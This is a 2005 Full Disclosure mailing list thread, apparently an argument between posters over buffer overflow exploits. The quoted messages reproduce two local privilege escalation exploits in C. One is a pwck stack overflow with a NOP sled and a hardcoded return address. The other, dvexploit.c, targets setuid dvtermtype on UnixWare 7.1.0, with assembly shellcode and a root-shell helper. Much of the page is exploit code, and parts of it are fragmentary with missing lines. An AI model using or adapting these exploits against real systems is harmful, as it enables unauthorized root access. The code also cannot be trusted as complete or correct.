Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Re: PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)
From: tuytumadre () att net
Date: Mon, 09 May 2005 17:20:43 +0000

Day jay, you may find it fun to criticize those recognized by Microsoft, but let me remind you that Steve has done more 
to help computer security then you will ever dream of accomplishing. He has forgotten more about computers then you 
will ever learn. I have met Steve, and he is a very nice man.

Steve is a very successful person, contrary to your opinion of the alternative. I am surprised that people still hold 
you in any form of regard, after you acting like a complete asshole during your dumb shellcode-masked backdoor 
incident. However, I do not know enough about you to categorize you as a jerk. What do you do for a living? What makes 
you so special that you can criticize a successful, intellegent man for your personal satisfaction, or are you just a 
hypocrite? Tell me, oh "1337" one.

-------------- Original message from Day Jay <d4yj4y () yahoo com>: -------------- 

We all saw how short the code was I had for that pwck 
buffer overflow exploit. He also hardcodes the stack 
pointer, hahah. 

char shellcode[] = 
unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} 
int main(int argc, char *argv[]) 
int i, offset; 
long esp, ret, *addr_ptr; 
char *buffer, *ptr; 
offset = 1700; //the offset I first found worked 
esp = sp(); 
ret = esp - offset; 
buffer = malloc(2200); 
ptr = buffer; 
addr_ptr = (long *) ptr; 
for(i=0; i < 2200; i+=4) 
{ *(addr_ptr++) = ret; } 
for(i=0; i < 1000; i++) 
{ buffer[i] = '\x90'; } 
ptr = buffer + 200; 
for(i=0; i < strlen(shellcode); i++) 
{ *(ptr++) = shellcode[i]; } 
buffer[2200-1] = 0; 
printf("d4yj4y fscked j00r mom!\n"); sleep(2); 
execl("/usr/sbin/pwck", "pwck", buffer, 0); 
return 0; 

I have a feeling Steve was just mad mine was so short 
compared to his, lol 

* dvexploit.c 
* written by : Stephen J. Friedl 
* Software Consultant 
* 2000-06-24 
* steve unixwiz net 
* This program exploits the "Double Vision" system on 
* Unixware 7.1.0 via a buffer overflow on the 
* program. Double Vision is like a "pcAnywhere for 
* but quite a few programs in this distribution are 
* root. The problem is that these programs were not 
* with security in mind, and it's not clear that they 
* need to be setuid root. 
* This particular program exploits "dvtermtype" by 
passing a 
* very long second parameter that overflows some 
* buffer. This buffer is filled with a predicted 
* of the shellcode, and the shellcode itself is 
stored in 
* a very long environment variable. This approach 
* the shellcode much easier to find. 
* This shellcode was based directly on the great work 
* Brock Tellier (btellier usa net), who seems to 
spend a lot 
* of time within with various SCO UNIX release. 
* This shellcode runs /tmp/ui, which should be this 
* program: 
* $ cd /tmp 
* $ cat ui.c 
* int main() { setreuid(0,0); system("/bin/sh"); 
return 0; } 
* $ cc ui.c -o ui 
* Brock's original work compiled this automatically, 
but I 
* prefer to do it by hand. A better approach is to do 
* setreuid() in the shellcode and call /bin/sh 
* Maybe another day. 
* ---------------------- 
* $ cc -v 
* UX:cc: INFO: Optimizing C Compilation System (CCS) 
3.2 03/03/99 (CA-unk_voyager5) 
* $ uname -a 
* UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5 
* from /usr/lib/dv/README 
* DoubleVision for Character Terminals Release 3.0 
* Last Update: December 7, 1999 
* ------ 
* The default parameters to this program work on the 
versions mentioned 
* above, but for variants some tuning might be 
required. There are three 
* parameters that guide this program's operation: 
* -a retaddr set the "return" address to the given 
hex value, 
* which is the address where we expect to find the 
* exploit code in the environment. The environment 
* is at a relatively fixed location just below 
* 0x80000000, so getting "close" is usually 
* Note that this address cannot have any zero bytes 
* in it! We believe that the target code has enough 
* padding NOP values to make it an easy target. 
* -r retlen length of the overflowed "return address" 
* which is filled in with the address provided 
* Default = 2k, max = 5k. 
* -l n slightly shift the alignment of the return 
* buffer by 1, 2 or 3 in case the buffer that's 
* overflowed. 


* shellcode for SCO UnixWare 
* The shellcode in the binary was derived from 
assembler code 
* below, and we put the asm() code inside the 
function so we 
* can disassemble it and get the binary bytes easier. 
The code 
* all should match, but the real original data is the 
* asm() code. 
#if 1 

static const char scoshell[] = 




extern char scoshell[]; 

static void foo() 

asm(" jmp L1b"); /* go to springboard */ 
asm(" L2b: popl %esi"); /* addr of /tmp/ui */ 
asm(" xorl %ebx,%ebx"); /* %ebx <-- 0 */ 
asm(" movl %ebx, 7(%esi)"); /* mark end of string */ 
asm(" movl %ebx, 12(%esi)"); /* 0 to lcall addr */ 
asm(" movb %bl, 17(%esi)"); /* 0 to lcall sub addr 
asm(" xorl %eax,%eax"); /* %eax <-- 0 */ 
asm(" movb $0x3b, %al"); /* 0x3b = "execve" */ 
asm(" leal 7(%esi), %edi"); /* addr of NULL word */ 
asm(" pushl %ebx"); /* zero */ 
asm(" pushl %edi"); /* addr of NULL word */ 
asm(" pushl %esi"); /* addr of "/tmp/ui" */ 
asm(" pushl %esi"); /* addr of "/tmp/ui" */ 
asm(" jmp L3b"); /* do OS call */ 
asm(" L1b: call L2b"); 
asm(" .ascii \"/tmp/ui\""); /* %esi */ 
asm(" .4byte 0xaaaaaaaa"); /* %esi[ 7] */ 
asm(" L3b: lcall $0xaa07,$0xaaaaaaaa"); /* OS call */ 
asm(" .byte 0x00"); /* endmarker */ 



#define NOP 0x90 

static char *env[10], // environment strings 
*arg[10]; // argument vector 

* "Addr" is the predicted address where the shellcode 
starts in the 
* environment buffer. This was determined empirically 
based on a test 
* program that ran similarly, and it ought to be 
fairly consistent. 
* This can be changed with the "-a" parameter. 
static long addr = 0x7ffffc04; 

static char *exefile = "/usr/lib/dv/dvtermtype"; 

int main(int argc, char *argv[]) 
int c; 
int i; 
char egg[1024]; 
int egglen = sizeof egg - 1; 
int retlen = 2048; 
char retbuf[5000]; 
int align = 0; 
char *p; 

setbuf(stdout, (char *)0 ); 

while ( (c = getopt(argc, argv, "a:r:l:")) != EOF ) 
switch (c) 
case 'a': addr = strtol(optarg, 0, 16); break; 
case 'l': align = atoi(optarg); break; 
case 'r': retlen = atoi(optarg); break; 

if ( optind < argc ) 
exefile = argv[optind++]; 

printf("UnixWare 7.x exploit for suid root Double 
printf("Stephen Friedl \n"); 
printf("Using addr=0x%x retlen=%d\n", addr, 

* sanity check: the return buffer requested can't be 
too big, 
* and the address can't have any zero bytes in it. 
if ( retlen > sizeof(retbuf) ) 
printf("ERROR: retlen can't be > %d\n", 

p = (char *)&addr; 

if ( !p[0] || !p[1] || !p[2] || !p[3] ) 
printf("ERROR: ret address 0x%08lx has a zero 
byte!\n", addr); 

* Now create the "return" buffer that is used to 
overflow the 
* return address. This buffer really has nothing in 
it other than 
* repeated copies of the phony return address, and 
one of them 
* will overwrite the real %EIP on the stack. Then 
when the called 
* function returns, it jumps to our code. 
* It's possible that this requires alignment to get 
right, so 
* the "-l" param above can be used to adjust this 
from 0..3. 
* If we're aligning, be sure to fill in the early 
part of the 
* buffer with non-zero bytes ("XXXX"); 
strcpy(&retbuf, "XXXX"); 

for (i = align; i < retlen - 4; i += 4) 
memcpy(retbuf+i, &addr, 4); 
retbuf[i] = 0; 

printf("strlen(retbuf) = %d\n", strlen( (char 
*)retbuf) ); 

* The "egg" is our little program that is stored in 
the environment 
* vector, and it's mostly filled with NOP values but 
with our little 
* root code at the end. Gives a wide "target" to 
hit: any of the 
* leading bytes hits a NOP and flows down to the 
real code. 
* The overall buffer is 
* X=################xxxxxxxxxxxxxxxxxxxxx\0 
* where # is a NOP instruction, and "X" is the 
exploit code. There 
* must be a terminating NUL byte so the environment 
processor does 
* the right thing also. 
memset(egg, NOP, egglen); 
memcpy(egg, "EGG=", 4); 

// put our egg in the tail end of this buffer 
memcpy(egg + (egglen - strlen(scoshell)- 1), 
scoshell, strlen(scoshell)); 

egg[egglen] = '\0'; 

/* build up regular command line */ 

arg[0] = exefile; 
arg[1] = "dvexploit"; /* easy to find this later */ 
arg[2] = (char *)retbuf; 
arg[3] = 0; 

* build up the environment that contains our 
shellcode. This 
* keeps it off the stack. 
env[0] = egg; 
env[1] = 0; 

execve(arg[0], arg, env); 

--- Day Jay wrote: 
Please teach me to be like you, I'm striving to be 
good as you Steve. You obviously are my master. 

I bow to you. 

Please teach me! Your code is sooo l33t! 

--- Steve Friedl wrote: 
On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay 
I stole it, but it works, and that's all that 

"It works is all that matters" is the hallmark of 


Stephen J Friedl | Security Consultant | UNIX 
Wizard | +1 714 544-6561 
www.unixwiz.net | Tustin, Calif. USA | Microsoft 
MVP | steve () unixwiz net 

Do You Yahoo!? 
Tired of spam? Yahoo! Mail has the best spam 
protection around 
Full-Disclosure - We believe in it. 

Hosted and sponsored by Secunia - 

Do You Yahoo!? 
Tired of spam? Yahoo! Mail has the best spam protection around 
Full-Disclosure - We believe in it. 
Charter: http://lists.grok.org.uk/full-disclosure-charter.html 
Hosted and sponsored by Secunia - http://secunia.com/ 
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]